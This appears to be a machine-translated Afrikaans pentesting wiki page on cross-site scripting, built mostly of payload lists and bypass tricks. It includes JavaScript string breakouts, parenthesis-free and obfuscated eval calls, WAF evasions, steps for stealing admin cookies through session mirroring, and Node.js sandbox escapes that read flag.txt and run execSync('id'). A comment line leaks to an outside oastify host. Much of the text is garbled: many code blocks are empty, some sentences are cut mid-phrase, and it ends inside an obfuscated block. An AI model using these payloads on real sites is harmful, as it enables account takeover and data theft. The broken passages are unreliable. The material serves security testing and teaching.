# XSS (Cross Site Scripting) ## Metodologie 1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode. 2. **Vind die konteks** waar dit reflekteer/gebruik word. 3. As dit **reflekteer** 1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan: 1. In **rauwe HTML**: 1. Kan jy nuwe HTML-tags skep? 2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun? 3. Kan jy beskermings omseil? 4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik. 5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Markup - HTML scriptless inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik? 2. Binne 'n **HTML-tag**: 1. Kan jy na die rauwe HTML-konteks ontsnap? 2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer? 3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering? 4. Kan jy beskermings omseil? 3. Binne **JavaScript-kode**: 1. Kan jy die ``** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik: - As dit weerspieël word tussen **``** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `` etiket binne die HTML-kode is nie. - As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - As dit weerspieël word binne sjabloon letterlik kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode-kodering** werk om **geldige javascript kode** te skryf: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\ **Kyk na die volgende bladsy vir meer inligting:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Funksie Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`. 'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos: ![](<../../images/image (711).png>) As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**). Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**: ![](<../../images/image (747).png>) Sommige nuttige funksies hiervoor: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Jy kan ook probeer om **Javascript funksies** direk te **trigger**: `obj.sales.delOrders`. E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in die dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer. Daarom, om hierdie **kwesbaarheid in 'n ander DOM** te **misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Daar is **JS kode** wat **onveilig** gebruik maak van **data wat deur 'n aanvaller beheer word** soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer. {{#ref}} dom-xss.md {{#endref}} ### **Universele XSS** Hierdie soort XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\ Sommige **voorbeelde**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## WAF omseil kodering beeld ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Invoeging binne ruwe HTML Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\ Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\ _**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\*_ In hierdie geval en as geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik: ```html ``` Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\ Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval. ### Tags/Events brute-force Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen). ### Aangepaste tags As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**: ``` /?search=#x ``` ### Swartlys Bypasses As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**. **Gebruik Hex en Octal kodering met `javascript:`** Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Omgekeerde tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta) Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:** ```html ``` En in **meta-tags**: ```html
Newsletter popup
``` Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, solank jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor: ```html ``` **Die XSS payload sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`** ### Swartlys Omseilings Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgestel. Gaan **terug om te leer waar jy kan gebruik:** - **HTML kodering (HTML etikette)** - **Unicode kodering (kan geldige JS kode wees):** `\u0061lert(1)` - **URL kodering** - **Hex en Oktale kodering** - **data kodering** **Omseilings vir HTML etikette en eienskappe** Lees die [Swartlys Omseilings van die vorige afdeling](#blacklist-bypasses). **Omseilings vir JavaScript kode** Lees die J[avaScript omseiling swartlys van die volgende afdeling](#javascript-bypass-blacklists-techniques). ### CSS-Gadgets As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word. Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld > .test {display:block; color: blue; width: 100%\} en > \#someid {top: 0; font-family: Tahoma;} Nou kan jy ons skakel wysig en dit na die vorm bring > \ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Inspuiting binne JavaScript kode In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of tussen `` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar. ### Ontsnapping van \` ingevoeg word, kan jy maklik die ` ``` Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer. ### Binne JS-kode As `<>` gesanitiseer word, kan jy steeds die **string ontsnap** waar jou invoer **geleë** is en **arbitraire JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Om **strings** te konstrueer, behalwe vir enkel- en dubbel-aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit **ingebedde JS-uitdrukkings** toelaat met die `${ ... }` sintaksis.\ As jy dus vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer: Dit kan **abused** word met: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Gecodeerde kode-uitvoering ```html ``` **Javascript binne 'n opmerking** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sonder hakies** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Arbitraire funksie (alert) oproep** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **DOM kwesbaarhede** Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soos `location.href` gebruik. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer.\ **As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\ Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering). ### Opgradering van Self-XSS ### Koekie XSS As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie toss aanval gebruik: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Jy kan 'n groot misbruik van hierdie tegniek vind in [**hierdie blogpos**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Stuur jou sessie na die admin Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne die profiel van die gebruiker is en die admin dit toegang, sal hy die kwesbaarheid ontketen. ### Sessiemirrow As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie. Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel. ## Ander Bypasses ### Genormaliseerde Unicode Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die bediener (of aan die kliëntkant) en hierdie funksionaliteit misbruik om beskermings te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL vlag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails omseiling As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\ Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Die paar "Key","Value" sal soos volg teruggegee word: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind. ### Spesiale kombinasies ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS met header-inspuiting in 'n 302 antwoord As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos. In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\ Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`. ### Slegs Letters, Syfers en Punte As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik. ### Geldige ` ``` Die antwoord is: - **module** (verstek, niks om te verduidelik nie) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Laat toe om die invoer-sintaksis te verbeter ```html ``` Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voor-rendering veroorsaak word, op te los. Dit werk soos volg: ```html ``` ### Web Content-Tipes na XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS in alle blaaiers uitvoer: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? nie in die lys nie, maar ek dink ek het dit in 'n CTF gesien) - application/rss+xml (af) - application/atom+xml (af) In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Inhoudstype As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer: ```xml hello ``` ### Spesiale Vervangingspatrone Wanneer iets soos **`"some {{template}} data".replace("{{template}}", )`** gebruik word. Die aanvaller kan [**spesiale string vervangings**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om te probeer om sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string** binne 'n skrip te ontsnap en arbitrêre kode uit te voer. ### Chrome Cache na XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### XS Jails Ontsnapping As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik: - Deur import() te gebruik ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Toegang tot `require` indirek [Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass - **Verskillende obfuscasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Meer gesofistikeerde JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ﾟωﾟﾉ = /｀ｍ´）ﾉ ~┻━┻ / /*´∇｀*/["_"] o = ﾟｰﾟ = _ = 3 c = ﾟΘﾟ = ﾟｰﾟ - ﾟｰﾟ ﾟДﾟ = ﾟΘﾟ = (o ^ _ ^ o) / (o ^ _ ^ o) ﾟДﾟ = { ﾟΘﾟ: "_", ﾟωﾟﾉ: ((ﾟωﾟﾉ == 3) + "_")[ﾟΘﾟ], ﾟｰﾟﾉ: (ﾟωﾟﾉ + "_")[o ^ _ ^ (o - ﾟΘﾟ)], ﾟДﾟﾉ: ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ], } ﾟДﾟ[ﾟΘﾟ] = ((ﾟωﾟﾉ == 3) + "_")[c ^ _ ^ o] ﾟДﾟ["c"] = (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ - ﾟΘﾟ] ﾟДﾟ["o"] = (ﾟДﾟ + "_")[ﾟΘﾟ] ﾟoﾟ = ﾟДﾟ["c"] + ﾟДﾟ["o"] + (ﾟωﾟﾉ + "_")[ﾟΘﾟ] + ((ﾟωﾟﾉ == 3) + "_")[ﾟｰﾟ] + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + ((ﾟｰﾟ == 3) + "_")[ﾟｰﾟ - ﾟΘﾟ] + ﾟДﾟ["c"] + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ﾟДﾟ["o"] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] ﾟДﾟ["_"] = (o ^ _ ^ o)[ﾟoﾟ][ﾟoﾟ] ﾟεﾟ = ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + ﾟДﾟ.ﾟДﾟﾉ + (ﾟДﾟ + "_")[ﾟｰﾟ + ﾟｰﾟ] + ((ﾟｰﾟ == 3) + "_")[o ^ _ ^ (o - ﾟΘﾟ)] + ((ﾟｰﾟ == 3) + "_")[ﾟΘﾟ] + (ﾟωﾟﾉ + "_")[ﾟΘﾟ] ﾟｰﾟ += ﾟΘﾟ ﾟДﾟ[ﾟεﾟ] = "\\" ﾟДﾟ.ﾟΘﾟﾉ = (ﾟДﾟ + ﾟｰﾟ)[o ^ _ ^ (o - ﾟΘﾟ)] oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ﾟДﾟ[ﾟoﾟ] = '"' ﾟДﾟ["_"]( ﾟДﾟ["_"]( ﾟεﾟ + ﾟДﾟ[ﾟoﾟ] + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ﾟΘﾟ) + 